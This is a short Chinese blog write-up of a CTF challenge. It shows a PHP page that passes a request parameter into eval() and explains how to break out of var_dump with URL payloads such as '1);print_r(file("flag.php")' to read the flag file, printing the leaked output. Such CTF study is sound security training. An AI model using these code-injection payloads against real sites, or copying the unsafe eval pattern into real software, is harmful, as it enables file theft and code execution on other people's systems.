本地包含 writeup

原创

ctf小菜鸡 于 2020-02-06 17:03:33 发布 145 收藏

本文链接：https://blog.csdn.net/weixin_43400535/article/details/104198503

9.本地包含

查看源码

```php
<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
```

知识点

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据，但是速度比较慢
2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码，且必须以分号结尾。
3.var_dump: 函数用于输出变量的相关信息

解题思路

方法1

eval应该是此题的突破口，能够执行php代码。eval()会将参数字符串当作命令语句执行，故利用类似单引号闭合的原理可以注入语句。构造payload
hello是接受参数的变量，接下来就是构建hello变量，使其能够闭合var_dump，利用print_r输出

首先闭合 `var_dump: 1)";`
第二步构建print_r： `print_r(file("./flag.php"));`
/file() 函数把整个文件读入一个数组中/
URL构建结束：
http://123.206.87.240:8003/index.php?hello=1);print_r(file(“flag.php”)

构建的URL触发的 eval操作为
eval(“var_dump(1);print_r(file(”./flag.php")")

成功输出 flag.php 文件内容

方法2

直接将flag.php文件读入变量hello中

1.?hello=get_file_contents(‘flag.php’)
2.?hello=file(‘flag.php’)

array(5) { [0]=> string(7) " string(34) " $flag = 'Too Young Too Simple'; " [2]=> string(16) " # echo $flag; " [3]=> string(24) " # flag{bug-ctf-gg-99} " [4]=> string(2) "?>" } <?php

```php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
```